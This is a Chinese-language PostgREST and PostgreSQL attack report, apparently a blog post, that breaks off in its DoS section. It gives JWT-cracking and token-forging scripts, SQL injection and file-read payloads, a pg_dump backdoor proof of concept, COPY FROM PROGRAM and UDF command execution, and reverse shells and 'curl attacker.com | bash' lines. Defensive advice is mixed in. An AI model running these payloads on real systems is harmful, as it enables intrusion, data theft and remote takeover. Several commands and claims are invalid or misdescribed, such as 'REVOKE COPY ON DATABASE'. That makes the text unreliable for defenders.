文章总结: 本报告对PostgRESTv11进行安全分析,揭示JWT绕过、权限提升、行级安全策略绕过等关键风险,并提供配置加固与防护建议。 综合评分: 87 文章分类: web安全,应用安全,漏洞分析,安全建设
PostgREST 安全分析报告
Rainb0w Rainb0w
网空安全手札
2026年4月22日 17:36 上海
在小说阅读器读本章
去阅读
#
免责声明:本报告仅供安全研究和学习目的使用。所有提供的攻击技术和payload仅应用于授权的安全测试环境中。未经授权的系统渗透测试可能违反法律法规。
报告日期:2026年4月 分析目标:PostgREST v11 及相关版本 研究目的:识别潜在攻击面,评估安全风险,提出防护建议
目录
- PostgREST概述
- 安全特性分析
- 攻击面分析
- 具体攻击技术
- 4.1 JWT绕过/伪造攻击
- 4.2 角色权限提升
- 4.3 行级安全策略绕过
- 4.4 SQL注入可能性
- 4.5 批量操作滥用
- 4.6 信息泄露
- 4.7 函数注入
- 4.8 配置错误利用
- 4.9 PostgreSQL CVE漏洞利用
- 4.10 UDF注入攻击
- 4.11 PostgREST特有安全问题
- 4.12 PostgREST实战攻击案例
- 防护建议
- CVE漏洞汇总
- 攻击工具与框架
- 参考文献
1. PostgREST概述
1.1 什么是PostgREST
PostgREST是一个独立的Web服务器,能够将现有的PostgreSQL数据库直接转换为RESTful API。它通过自动分析数据库结构,为每个表、视图和存储过程生成对应的API端点。
1.2 工作原理
┌─────────────┐ ┌──────────────┐ ┌────────────────┐│ Client │────▶│ PostgREST │────▶│ PostgreSQL ││ (HTTP) │◀────│ Server │◀────│ Database │└─────────────┘ └──────────────┘ └────────────────┘ │ ┌──────┴──────┐ │ JWT Auth │ │ Role Switch│ │ SQL Gen │ └─────────────┘
1.3 典型部署架构
┌─────────────────┐ │ Internet │ └────────┬────────┘ │ ┌────────▼────────┐ │ Reverse Proxy │ │ (Nginx) │ └────────┬────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌────────▼────────┐ ┌──────▼───────┐ ┌───────▼──────┐ │ PostgREST │ │ PostgREST │ │ PostgREST │ │ (Instance 1) │ │ (Instance 2)│ │ (Instance 3)│ └────────┬────────┘ └──────┬───────┘ └───────┬──────┘ │ │ │ └──────────────────┼──────────────────┘ │ ┌────────────▼────────────┐ │ PostgreSQL Database │ │ ┌─────────────────┐ │ │ │ public schema │ │ │ │ api schema │ │ │ │ private schema │ │ │ └─────────────────┘ │ └─────────────────────────┘
1.4 默认配置特性
| | | — | | |
| | | — | | |
| | | — | | |
| | | — | | |
| 配置项 | 默认值 | 安全风险 |
| — | — | — |
| db-anon-role | 无 | 未认证用户无法访问 |
| jwt-secret | 需配置 | 未配置则无法使用JWT认证 |
| db-schema | public | public模式默认对所有用户开放 |
| openapi-mode | follow-privileges | 可能泄露API结构信息 |
| 函数执行权限 | PUBLIC | 默认所有角色可执行所有函数 |
2. 安全特性分析
2.1 认证机制
PostgREST采用JWT(JSON Web Token)进行请求认证:
2.1.1 JWT认证流程
-- 1. 用户登录获取JWTPOST /rpc/login{ "email": "[email protected]", "pass": "password123"}-- 2. 响应包含JWT{ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}-- 3. 后续请求携带JWTAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
2.1.2 JWT角色提取
PostgREST从JWT的role声明中提取数据库角色:
{ "role": "user123", "email": "[email protected]", "exp": 1735689600}
内部执行:
SET LOCAL ROLE user123;
2.1.3 JWT验证机制
PostgREST支持的JWT声明验证:
exp - 过期时间(带30秒时钟容差)iat - 签发时间nbf - 生效时间aud - 受众验证
2.2 授权模型
2.2.1 角色体系
┌─────────────────────────────────────────────────────────────┐│ 角色体系架构 │├─────────────────────────────────────────────────────────────┤│ ││ ┌───────────────┐ ││ │ authenticator │ 数据库连接角色(NOINHERIT) ││ │ (初始角色) │ 权限最小化,只有切换角色的权限 ││ └───────┬───────┘ ││ │ ││ │ GRANT xxx TO authenticator ││ │ ││ ▼ ││ ┌───────┴────────────────────────────────────────┐ ││ │ 角色切换 (SET LOCAL ROLE) │ ││ └───────┬────────────────────────────────────────┘ ││ │ ││ ┌─────┴─────┐ ││ │ │ ││ ▼ ▼ ││ ┌──────┐ ┌─────────┐ ┌─────────┐ ││ │ anon │ │ webuser │ │ admin │ ││ │ 匿名 │ │ 普通用户 │ │ 管理员 │ ││ └──┬───┘ └────┬────┘ └────┬────┘ ││ │ │ │ ││ │ ┌───────┴───────┐ │ ││ │ │ │ │ ││ ▼ ▼ ▼ ▼ ││ 公开数据 受限数据 管理员数据 ││ │└─────────────────────────────────────────────────────────────┘
2.2.2 行级安全策略(RLS)
PostgREST依赖PostgreSQL的RLS实现细粒度访问控制:
-- 启用RLSALTER TABLE messages ENABLE ROW LEVEL SECURITY;-- 创建策略:用户只能访问自己的消息CREATE POLICY user_messages_policy ON messages FOR ALL USING (sender = current_user OR receiver = current_user) WITH CHECK (sender = current_user);
2.3 SQL注入防护
PostgREST通过以下方式防护SQL注入:
- 参数化查询:所有用户输入通过参数绑定传递
- 输入验证:对查询参数进行语法验证
- 自动转义:标识符和字面值自动转义
-- PostgREST生成的查询示例SELECT * FROM users WHERE id = $1 -- 参数化-- 用户输入: id=1' OR '1'='1-- 实际执行: id = '1'' OR ''1''=''1' (转义)
2.4 默认安全配置
# postgrest.conf 安全配置示例db-uri = "postgres://authenticator:password@localhost:5432/mydb"db-anon-role = "anon"db-schema = "api"# JWT配置 - 密钥必须至少32字符jwt-secret = "your-256-bit-secret-key-here-min32"jwt-aud = "my-api"# 禁用调试功能openapi-mode = "follow-privileges"log-level = "error"
3. 攻击面分析
3.1 攻击面概览
┌─────────────────────────────────────────────────────────────────┐│ PostgREST 攻击面 │├─────────────────────────────────────────────────────────────────┤│ ││ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ││ │ 认证攻击 │ │ 授权攻击 │ │ SQL注入 │ ││ ├─────────────┤ ├─────────────┤ ├─────────────┤ ││ │• JWT伪造 │ │• RLS绕过 │ │• 查询参数 │ ││ │• 弱密钥 │ │• 权限提升 │ │• 函数调用 │ ││ │• 角色劫持 │ │• 策略配置 │ │• 盲注 │ ││ └─────────────┘ └─────────────┘ └─────────────┘ ││ ││ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ││ │ 信息泄露 │ │ DoS攻击 │ │ 配置错误 │ ││ ├─────────────┤ ├─────────────┤ ├─────────────┤ ││ │• Schema枚举 │ │• 查询超时 │ │• public模式 │ ││ │• OpenAPI │ │• 资源耗尽 │ │• 默认凭证 │ ││ │• 错误消息 │ │• 连接耗尽 │ │• RLS未启用 │ ││ └─────────────┘ └─────────────┘ └─────────────┘ ││ │└─────────────────────────────────────────────────────────────────┘
3.2 认证相关攻击面
| | | — | | |
| | | — | | |
| 攻击面 | 描述 | 风险等级 |
| — | — | — |
| JWT密钥强度 | 弱密钥可被暴力破解 | 高 |
| JWT alg=none | 旧版可能支持算法绕过 | 中 |
| JWT缓存投毒 | 缓存验证结果被篡改 | 低 |
| 角色声明注入 | JWT中恶意角色声明 | 高 |
3.3 授权相关攻击面
| | | — | | |
| | | — | | |
| 攻击面 | 描述 | 风险等级 | | — | — | — | | RLS未启用 | 表未启用行级安全 | 高 | | RLS策略缺陷 | 策略逻辑存在绕过 | 高 | | BYPASSRLS滥用 | 高权限角色绕过RLS | 高 | | SECURITY DEFINER | 函数权限提升 | 高 | | 函数默认PUBLIC | 所有角色可执行 | 中 |
3.4 SQL注入攻击面
| | | — | | |
| | | — | | |
| 攻击面 | 描述 | 风险等级 | | — | — | — | | 查询操作符 | 过滤条件注入 | 中 | | 排序参数 | ORDER BY注入 | 中 | | 批量操作 | 数组参数注入 | 中 | | RPC调用 | 函数参数注入 | 高 |
4. 具体攻击技术
4.1 JWT绕过/伪造攻击
4.1.1 JWT弱密钥暴力破解
攻击原理: 如果JWT密钥强度不足,攻击者可以通过暴力破解或字典攻击恢复密钥,然后伪造任意角色的JWT。
攻击步骤:
- 获取一个有效的JWT
- 使用工具尝试破解密钥
- 使用破解的密钥伪造新JWT
具体Payload:
# JWT破解脚本示例import jwtimport stringimport itertoolsfrom datetime import datetime# 已知JWTtoken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiIsImV4cCI6OTk5OTk5OTk5OX0.signature"# 弱密钥候选common_passwords = [ "password", "123456", "admin", "secret", "12345678", "qwerty", "abc123", "monkey", "1234567", "letmein"]for secret in common_passwords: try: decoded = jwt.decode(token, secret, algorithms=["HS256"]) print(f"[+] Found secret: {secret}") print(f"[+] Decoded: {decoded}")
# 伪造管理员JWT fake_payload = { "role": "admin", "exp": int(datetime.now().timestamp()) + 3600 } forged_token = jwt.encode(fake_payload, secret, algorithm="HS256") print(f"[+] Forged admin token: {forged_token}") break except: pass
预期效果: 获取有效JWT后,可破解密钥并伪造任意角色(包括管理员)的JWT令牌。
实际案例:
在配置了短密钥(如jwt-secret = "secret")的PostgREST实例中,此攻击成功率较高。
4.1.2 JWT Role声明注入
攻击原理: 当JWT的role声明可被攻击者控制时,可以指定任意数据库角色。
攻击步骤:
- 获取有效的JWT(任意角色)
- 修改JWT payload中的role声明
- 使用修改后的JWT发送请求
具体Payload:
// 原始JWT payload{ "role": "user", "email": "[email protected]", "exp": 1735689600}// 修改后的payload{ "role": "admin", "email": "[email protected]", "exp": 9999999999}
预期效果: 如果authenticator角色被授予了切换到admin角色的权限,攻击者可以权限提升到管理员。
4.1.3 JWT缓存投毒(理论)
攻击原理: PostgREST v11+支持JWT缓存以提高性能,攻击者可能通过缓存投毒影响验证结果。
攻击条件:
- PostgREST配置了JWT缓存
- 攻击者能够影响缓存键
防御措施:
# 禁用JWT缓存(如果需要高安全)# 当前版本JWT缓存基于令牌哈希,安全风险较低
4.2 角色权限提升
4.2.1 SECURITY DEFINER函数权限滥用
攻击原理: SECURITY DEFINER函数以创建者权限执行,如果函数实现不当,可能导致权限提升。
攻击步骤:
- 发现可调用的SECURITY DEFINER函数
- 分析函数实现,寻找权限提升机会
- 通过函数参数触发高权限操作
具体Payload:
-- 恶意的SECURITY DEFINER函数(管理员创建)CREATE OR REPLACE FUNCTION public.unsafe_exec(cmd text)RETURNS textLANGUAGE plpgsqlSECURITY DEFINER -- 以创建者身份执行AS $$BEGIN -- 此函数执行系统命令(如果函数所有者是postgres) RETURN current_setting('request.headers', true);END;$$;-- 攻击者调用POST /rpc/unsafe_exec{ "cmd": "DROP TABLE users;"}
实际利用场景:
-- 如果存在这样的函数CREATE OR REPLACE FUNCTION grant_admin()RETURNS voidLANGUAGE plpgsqlSECURITY DEFINERSET search_path = '' -- 危险的search_path设置AS $$BEGIN EXECUTE 'GRANT admin TO anonymous';END;$$;-- 调用它(作为任何用户)POST /rpc/grant_admin
预期效果:
- 执行任意SQL语句
- 绕过RLS策略
- 提升到超级用户权限
防护建议:
-- 正确创建SECURITY DEFINER函数CREATE OR REPLACE FUNCTION safe_function()RETURNS voidLANGUAGE plpgsqlSECURITY DEFINERSET search_path = 'pg_catalog', 'public' -- 必须设置search_pathSET app.settings.current_user_id = current_user -- 显式设置AS $$BEGIN -- 显式限定schema引用 SELECT * FROM public.allowed_table WHERE ...END;$$;
4.2.2 角色切换配置错误
攻击原理: 如果authenticator角色被错误授予了过多权限,可能导致权限提升。
攻击步骤:
- 发现authenticator角色可切换到的角色列表
- 选择高权限角色
- 在JWT中指定该角色
具体Payload:
-- 检查角色切换权限(攻击者视角)SELECT grantee, role_name FROM information_schema.applicable_rolesWHERE granted_role = 'authenticator';-- 假设发现authenticator可以切换到service_role-- 伪造JWT{ "role": "service_role", "exp": 9999999999}
预期效果: 获取高权限角色的所有权限。
4.3 行级安全策略绕过
4.3.1 RLS未启用导致数据泄露
攻击原理: 敏感表未启用RLS,攻击者可以直接查询所有数据。
攻击步骤:
- 探测API端点
- 查询敏感表
- 获取所有数据
具体Payload:
# 探测敏感表GET /usersGET /paymentsGET /admin_logs# 分页获取全部数据GET /users?select=*&limit=1000&offset=0GET /users?select=*&limit=1000&offset=1000
预期效果: 获取表中的所有数据,不受任何行级策略限制。
4.3.2 RLS策略逻辑缺陷
攻击原理:
RLS策略使用USING子句定义读取条件,WITH CHECK子句定义写入条件。策略逻辑缺陷可能导致绕过。
具体Payload:
-- 假设存在这样的策略(有缺陷)CREATE POLICY bad_policy ON sensitive_data FOR SELECT USING ( user_id = current_user OR role = 'admin' -- 危险:基于角色而非当前用户 );-- 攻击者通过修改JWT role声明{ "role": "admin", "user_id": 999}-- 或者利用空值比较GET /sensitive_data?user_id=is.null
预期效果: 绕过行级策略,访问不应允许的数据。
4.3.3 COPY命令绕过RLS
攻击原理: PostgreSQL的COPY命令不执行RLS策略,可用于数据提取。
攻击条件:
- 用户具有COPY权限
- 表上有RLS策略
具体Payload:
-- 通过PostgREST RPC调用(如果支持)POST /rpc/copy_data{ "query": "COPY (SELECT * FROM users) TO STDOUT"}-- 或者利用其他函数POST /rpc/export_data{ "table": "users"}
预期效果: 绕过RLS,直接复制表数据。
4.4 SQL注入可能性
4.4.1 查询参数注入
攻击原理: 虽然PostgREST使用参数化查询,但在某些情况下可能存在注入点。
具体Payload:
# Order By注入GET /users?order=id; DROP TABLE users;--# 使用数字进行运算GET /users?id=1 OR 1=1# 数组参数注入POST /usersContent-Type: application/jsonPrefer: resolution=ignore-duplicates[{"id": "1; SELECT pg_read_file('/etc/passwd')"}]
PostgREST参数处理:
# 查询参数GET /users?id=eq.1 → SELECT * FROM users WHERE id = 1# 过滤操作符eq. - 等于gt. - 大于gte. - 大于等于lt. - 小于lte. - 小于等于like. - LIKE匹配ilike. - ILIKE匹配
4.4.2 PostgreSQL特性注入
攻击原理: 利用PostgreSQL特有的语法和函数进行注入攻击。
具体Payload:
# 1. Dollar quoting绕过引号过滤GET /users?email=eq.'test'$$恶意SQL$$'# 2. 类型转换注入GET /users?id=1::text||(SELECT password FROM admin)# 3. 函数调用GET /users?id=pg_sleep(10)# 4. 条件注入GET /users?select=*,CASE WHEN (1=1) THEN pg_sleep(5) END# 5. 数组操作GET /users?id=IN(1,2,3)# 6. 范围查询GET /users?id=between.1.and.100
4.4.3 盲注技术
攻击原理: 通过响应时间差异或响应内容差异推断数据。
具体Payload:
# 时间盲注 - 利用pg_sleepGET /users?select=id,CASE WHEN (SELECT COUNT(*) FROM users) > 10 THEN pg_sleep(5) ELSE NULL END# 布尔盲注 - 利用条件判断GET /users?select=id,name FROM users WHERE EXISTS(SELECT 1 FROM admin WHERE password LIKE 'a%')# 错误盲注 - 利用错误消息GET /users?id=1/0 -- 触发除零错误# DNS带外注入(如果可用)GET /users?id=1; SELECT 1; --attacker.com
4.5 批量操作滥用
4.5.1 数组插入绕过
攻击原理: PostgREST支持批量插入,可能绕过单行验证逻辑。
具体Payload:
# 正常插入POST /usersContent-Type: application/jsonPrefer: return=representation{"name": "John", "email": "[email protected]"}# 批量插入绕过验证POST /usersContent-Type: application/jsonPrefer: return=representation[ {"name": "John", "email": "[email protected]"}, {"name": "Admin", "email": "[email protected]", "role": "admin"}]
预期效果: 利用批量操作绕过单行验证,插入特权数据。
4.5.2 Upsert权限提升
攻击原理: 使用upsert操作修改其他用户的数据。
具体Payload:
# 正常操作PATCH /users?id=eq.123Content-Type: application/jsonPrefer: return=representation{"name": "New Name"}# 权限提升尝试 - 修改其他用户密码哈希PATCH /users?id=eq.456Content-Type: application/jsonPrefer: return=representation{"password_hash": "$2a$10$..."} -- 注入管理员哈希
4.6 信息泄露
4.6.1 OpenAPI Schema探测
攻击原理: 访问OpenAPI端点获取API结构信息。
具体Payload:
# 获取完整API文档GET /# 获取特定资源的OpenAPI定义GET /?schema=admin# 获取函数定义GET /rpc/login
预期效果: 获取:
- 所有表和视图名称
- 列名和数据类型
- 函数签名和参数
- 关系和约束
防护建议:
# 禁用OpenAPIopenapi-mode = "disabled"# 或限制权限openapi-mode = "follow-privileges"
4.6.2 错误消息信息泄露
攻击原理: PostgREST的错误消息可能泄露内部信息。
具体Payload:
# 触发详细错误GET /admin/users# 响应可能包含:{ "code": "42501", "message": "permission denied for table admin_users", "hint": "..."}# 探测函数参数POST /rpc/calculate?wrong_param=1# 响应可能包含函数签名{ "code": "PGRST202", "message": "Function expects parameters: (x integer, y integer)"}
4.6.3 RPC函数枚举
攻击原理: PostgREST缓存了schema信息,可被用于枚举函数。
具体Payload:
# 枚举所有可调用函数GET /rpc/# 探测特定schema的函数GET /rpc/admin.# 尝试调用推测的函数POST /rpc/secret_admin_function
预期效果: 获取:
- 所有可用函数列表
- 函数参数类型
- 函数所属schema
4.7 函数注入
4.7.1 危险函数调用
攻击原理: PostgreSQL包含多个可能造成安全问题的函数。
具体Payload:
# 读取系统文件POST /rpc/pg_read_fileContent-Type: application/json{"filename": "/etc/passwd"}# 读取服务器日志POST /rpc/pg_read_fileContent-Type: application/json{"filename": "/var/log/postgresql/postgresql.log"}# 列出目录POST /rpc/pg_ls_dirContent-Type: application/json{"dirname": "/etc"}# 执行系统命令(如果支持)POST /rpc/pg_execute_server_programContent-Type: application/json{"command": "id"}
防护措施:
-- 撤销危险函数权限REVOKE EXECUTE ON FUNCTION pg_read_file(text) FROM PUBLIC;REVOKE EXECUTE ON FUNCTION pg_ls_dir(text) FROM PUBLIC;REVOKE EXECUTE ON FUNCTION pg_execute_server_program(text) FROM PUBLIC;REVOKE EXECUTE ON FUNCTION lo_import(text) FROM PUBLIC;
4.8 配置错误利用
4.8.1 Public Schema暴露
攻击原理: 如果API使用public schema,扩展函数可能意外暴露。
具体Payload:
# 调用uuid生成函数GET /rpc/uuid_generate_v4# 调用pg_*系统函数GET /rpc/versionGET /rpc/current_databaseGET /rpc/current_user# 调用扩展函数GET /rpc/pgcrypto.encryptGET /rpc/postgis.version
预期效果: 调用原本不应暴露的数据库函数。
4.8.2 函数默认PUBLIC权限
攻击原理: PostgreSQL默认允许所有角色执行所有函数。
攻击步骤:
- 发现所有可调用函数
- 寻找SECURITY DEFINER的高权限函数
- 调用以提升权限
具体Payload:
# 检查函数权限# 作为普通用户尝试调用POST /rpc/admin_only_function
防护措施:
-- 撤销所有函数的默认执行权限ALTER DEFAULT PRIVILEGES REVOKE EXECUTE ON FUNCTIONS FROM PUBLIC;-- 仅授予必要的函数执行权限GRANT EXECUTE ON FUNCTION login(text, text) TO anon;GRANT EXECUTE ON FUNCTION get_user_data(uuid) TO authenticated;
4.9 PostgreSQL CVE漏洞利用
4.9.1 CVE-2025-8714/CVE-2025-8715 – pg_dump远程代码执行
漏洞概述: PostgreSQL的pg_dump工具存在两个高危漏洞,攻击者可通过恶意备份文件注入任意代码。
CVE-2025-8714 (CVSS 8.8):
-
类型
:不受信任数据注入
-
原理
:pg_dump在备份时记录搜索路径等元数据,恢复时如果源服务器为恶意超级用户,可在备份文件中注入任意代码
-
影响
:恢复时以psql的操作系统账户权限执行任意代码
CVE-2025-8715 (CVSS 8.8):
-
类型
:换行符未清理
-
原理
:pg_dump未正确清理换行符,攻击者可通过特制对象名(如表名、函数名)插入psql元命令
-
影响
:恢复时执行任意代码
受影响版本:
| | | — | | |
| | | — | | |
| 版本分支 | 受影响版本 | | — | — | | PostgreSQL 17.x | < 17.6 | | PostgreSQL 16.x | < 16.10 | | PostgreSQL 15.x | < 15.14 | | PostgreSQL 14.x | < 14.19 | | PostgreSQL 13.x | < 13.22 |
攻击场景:
-- 场景1:创建恶意备份文件-- 攻击者拥有postgres超级用户权限-- 创建带有恶意命令的表CREATE TABLE "test\n\! echo compromised > /tmp/pwned.txt" (id int);-- 导出备份(包含恶意内容)pg_dumpall -U postgres -d mydb > /tmp/malicious_backup.sql-- 场景2:直接注入元命令-- 在备份文件中追加恶意命令cat >> /tmp/malicious_backup.sql << 'EOF'-- 恶意注入:利用反斜杠元命令执行系统命令\! whoami > /tmp/attacker_info.txt\! cat /etc/passwd > /tmp/shadow.txt\! bash -c 'bash -i >& /dev/tcp/attacker/7777 0>&1' &EOF-- 恢复时执行恶意代码psql -U postgres -f /tmp/malicious_backup.sql
PoC脚本:
#!/usr/bin/env python3"""CVE-2025-8714/8715 演示脚本注意:仅用于授权的安全测试"""import subprocessimport osdef create_malicious_backup(): """创建包含恶意代码的备份文件""" # 正常的pg_dump命令 dump_cmd = ["pg_dumpall", "-U", "postgres", "-d", "testdb"]
# 启动正常的备份进程 proc = subprocess.Popen(dump_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) normal_dump, _ = proc.communicate()
# 在备份中注入恶意元命令 malicious_dump = normal_dump + b"""\\! echo "RCE via pg_dump" >> /tmp/pgdump_exploited.txt\\! id >> /tmp/pgdump_exploited.txt\\! cat /etc/passwd >> /tmp/passwd_leak.txt 2>/dev/null"""
# 写入恶意备份文件 with open('/tmp/pgdump_exploit.sql', 'wb') as f: f.write(malicious_dump)
return '/tmp/pgdump_exploit.sql'def trigger_execution(backup_file): """恢复备份以触发恶意代码""" restore_cmd = ["psql", "-U", "postgres", "-f", backup_file] subprocess.run(restore_cmd)if __name__ == "__main__": backup = create_malicious_backup() print(f"恶意备份已创建: {backup}") print("警告:恢复此备份将执行恶意代码!")
防护措施:
# 1. 升级PostgreSQL到安全版本# PostgreSQL 17.6+, 16.10+, 15.14+, 14.19+, 13.22+# 2. 验证备份文件来源pg_restore --version # 确认版本sha256sum backup.sql # 验证完整性# 3. 在隔离环境测试备份docker run --rm -v /path/to/backup:/backup postgres:16 \ psql -U postgres -f /backup/backup.sql
4.9.2 CVE-2025-1094 – libpq转义API SQL注入
漏洞概述:
-
CVSS 8.1
-
类型
:SQL注入/代码执行
-
影响组件
:
PQescapeLiteral(),PQescapeIdentifier(),PQescapeString(),PQescapeStringConn()
漏洞原理: 这些函数在处理特定字符编码组合或特殊输入时,转义处理存在错误,可能导致:
- 当转义后的输入用于构建psql命令时 → 任意代码执行
- 当
client_encoding=BIG5且server_encoding=EUC_TW/MULE_INTERNAL时 → SQL注入
受影响版本:
| | | — | | |
| | | — | | |
| 版本分支 | 受影响版本 | | — | — | | PostgreSQL 17.x | < 17.3 | | PostgreSQL 16.x | < 16.7 | | PostgreSQL 15.x | < 15.11 | | PostgreSQL 14.x | < 14.16 | | PostgreSQL 13.x | < 13.19 |
利用条件:
-- 条件1:通过psql元命令执行代码-- 需要能够构造psql命令执行-- 条件2:特定编码组合-- 需要同时设置:SET client_encoding = 'BIG5';SET server_encoding = 'EUC_TW'; -- 或 MULE_INTERNAL-- 构造恶意输入SELECT PQescapeLiteral( conn, E'test\x27; \!\ id; --');
攻击路径:
┌──────────────┐ ┌─────────────┐ ┌──────────────┐ ┌─────────────┐│ 用户输入 │───▶│ PQescape* │───▶│ SQL查询 │───▶│ psql元命令 ││ (特殊编码) │ │ 函数 │ │ 构造 │ │ 执行 │└──────────────┘ └─────────────┘ └──────────────┘ └─────────────┘ │ ▼ ┌──────────────────┐ │ 转义处理错误 │ │ 导致元命令注入 │ └──────────────────┘
防护措施:
# 1. 升级PostgreSQL
# 2. 避免使用不匹配的编码组合
# 3. 使用参数化查询而非字符串拼接
4.9.3 CVE-2019-9193 – COPY FROM PROGRAM命令执行
漏洞概述:
-
CVSS 9.1
-
利用条件
:超级用户权限或pg_read_server_files组成员
-
影响版本
:PostgreSQL 9.3+
攻击原理: PostgreSQL的COPY命令支持PROGRAM子句,允许执行系统命令。攻击者可通过此功能执行任意系统命令。
前置检查:
-- 检查当前用户权限SELECT current_user;SELECT rolsuper FROM pg_roles WHERE rolname = current_user;-- 检查是否为pg_read_server_files组成员SELECT * FROM pg_group WHERE groname = 'pg_read_server_files';-- 检查COPY权限SELECT has_table_privilege('postgres', 'COPY');
攻击步骤:
-- 步骤1:创建存储命令输出的表DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);-- 步骤2:执行系统命令(方式1:直接执行)COPY cmd_exec FROM PROGRAM 'id';SELECT * FROM cmd_exec;-- 清除输出DELETE FROM cmd_exec;-- 步骤3:执行系统命令(方式2:反弹shell)-- Base64编码反弹shell命令-- /bin/bash -i >& /dev/tcp/192.168.110.143/7777 0>&1-- Base64: L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEKCOPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEK" | base64 -d | bash';-- 步骤4:读取敏感文件COPY cmd_exec FROM PROGRAM 'cat /etc/passwd';SELECT * FROM cmd_exec;-- 步骤5:下载并执行恶意文件COPY cmd_exec FROM PROGRAM 'curl http://attacker.com/malware | bash';
Metasploit利用模块:
# Metasploit模块# exploit/linux/postgres/postgres_payload# exploit/windows/postgres/postgres_payloadmsf6 exploit(linux/postgres/postgres_payload) > optionsModule options (exploit/linux/postgres/postgres_payload): Name Current Setting Required Description ───────────────────────────────────────────────────────────────── DATABASE postgres yes The database to authenticate on PASSWORD postgres no The password for the specified username RHOSTS target.db.local yes The target address RPORT 5432 yes The target port USERNAME postgres yes The username to authenticate as LHOST 192.168.1.100 yes The listen address LPORT 4444 yes The listen port payload_options ... ... ...
PostgREST环境利用:
-- 通过PostgREST的RPC接口调用(如果可用)-- 首先创建函数包装COPY FROM PROGRAMCREATE OR REPLACE FUNCTION exec_cmd(cmd text)RETURNS textLANGUAGE plpgsqlAS $$BEGIN CREATE TABLE IF NOT EXISTS cmd_result (output text); EXECUTE 'COPY cmd_result FROM PROGRAM ''' || cmd || ''''; RETURN (SELECT string_agg(output, E'\n') FROM cmd_result);END;$$;-- 通过PostgREST调用POST /rpc/exec_cmd{"cmd": "whoami"}
防护措施:
-- 1. 限制COPY权限REVOKE COPY ON DATABASE mydb FROM PUBLIC;REVOKE COPY ON DATABASE mydb FROM app_user;-- 2. 撤销pg_read_server_files组成员资格REVOKE pg_read_server_files FROM PUBLIC;-- 3. 撤销超级用户权限ALTER ROLE app_user NOSUPERUSER;-- 4. 启用行级安全(RLS)ALTER TABLE cmd_exec ENABLE ROW LEVEL SECURITY;-- 5. 使用PostgreSQL配置限制-- postgresql.confalter system set superuser_reserved_connections = 3;
4.10 UDF注入攻击(用户定义函数)
攻击原理: 攻击者通过PostgreSQL的大对象功能(pg_largeobject)上传恶意共享库(.so/.dll),创建用户定义函数(UDF)执行任意代码。
攻击条件:
- 攻击者需获得数据库写权限
- 能够创建大对象
- 能够写入服务器文件系统(通过lo_export)
- PostgreSQL版本允许执行外部共享库
Metasploit模块利用:
# 使用Metasploit进行UDF注入msf6 > use exploit/linux/postgres/postgres_payloadmsf6 exploit(linux/postgres/postgres_payload) > set RHOSTS target.db.localmsf6 exploit(linux/postgres/postgres_payload) > set RPORT 5432msf6 exploit(linux/postgres/postgres_payload) > set DATABASE myappmsf6 exploit(linux/postgres/postgres_payload) > set USERNAME postgresmsf6 exploit(linux/postgres/postgres_payload) > set PASSWORD postgresmsf6 exploit(linux/postgres/postgres_payload) > set PAYLOAD linux/x86/meterpreter/reverse_tcpmsf6 exploit(linux/postgres/postgres_payload) > set LHOST attacker.servermsf6 exploit(linux/postgres/postgres_payload) > exploit# 模块会自动:# 1. 上传二进制payload到pg_largeobject# 2. 使用lo_export写入文件系统# 3. 创建UDF函数# 4. 执行payload并返回shell
手动UDF注入步骤:
-- 步骤1:创建大对象存储payloadSELECT lo_create(0);-- 步骤2:上传二进制数据到大对象-- 通常是编译好的.so文件或meterpreter shellcodeINSERT INTO pg_largeobject (loid, pageno, data) VALUES (0, 0, decode('7f454c4602...', 'hex')); -- ELF header-- 步骤3:导出到文件系统SELECT lo_export(0, '/tmp/udf.so');-- 步骤4:创建UDF函数CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS intAS '/tmp/udf.so', 'system'LANGUAGE C STRICT;-- 步骤5:执行任意命令SELECT sys_exec('whoami');SELECT sys_exec('cat /etc/passwd');SELECT sys_exec('bash -i >& /dev/tcp/attacker/7777 0>&1');
防护措施:
-- 1. 限制大对象权限REVOKE ALL ON LARGE OBJECT 0 FROM PUBLIC;-- 2. 禁用lo_export(如果不需要)-- postgresql.conf-- dynamic_library_path = ''-- 3. 使用pg_execute_server_program限制-- PostgreSQL 13+ 可通过这个函数限制ALTER SYSTEM SET local_preload_libraries = '';-- 4. 监控可疑的大对象操作SELECT * FROM pg_largeobject WHERE loid IN ( SELECT loid FROM pg_largeobject_metadata WHERE lomowner NOT IN (SELECT usesysid FROM pg_roles WHERE rolsuper));
4.11 PostgREST特有安全问题
4.11.1 DELETE无过滤危险
问题描述: PostgREST的DELETE操作如果不加过滤条件,会删除整张表的数据。
危险场景:
# 危险操作:删除整个表DELETE /logs# 错误示例:忘记添加过滤条件DELETE /users?id=eq.1 # 本意只删除id=1# 正确做法:始终包含WHERE条件DELETE /users?id=eq.123&status=eq.active
防护措施:
-- 1. 创建阻止性RLS策略CREATE POLICY delete_protection ON users FOR DELETE WITH CHECK ( current_user IN ('admin', 'service_role') AND auth.uid() IS NOT NULL );-- 2. 使用函数包装危险操作CREATE OR REPLACE FUNCTION safe_delete_user( p_user_id UUID, p_current_user UUID) RETURNS booleanLANGUAGE plpgsqlSECURITY DEFINERSET search_path = 'api'AS $$BEGIN IF p_current_user = p_user_id OR current_role = 'admin' THEN DELETE FROM users WHERE id = p_user_id; RETURN TRUE; END IF; RETURN FALSE;END;$$;-- 3. 移除DELETE权限REVOKE DELETE ON users FROM anon;REVOKE DELETE ON users FROM authenticated;
4.11.2 Prefer: count=exact DoS攻击
问题描述:
使用Prefer: count=exact头时,PostgREST会对大表执行完整计数,可能导致性能问题。
攻击场景:
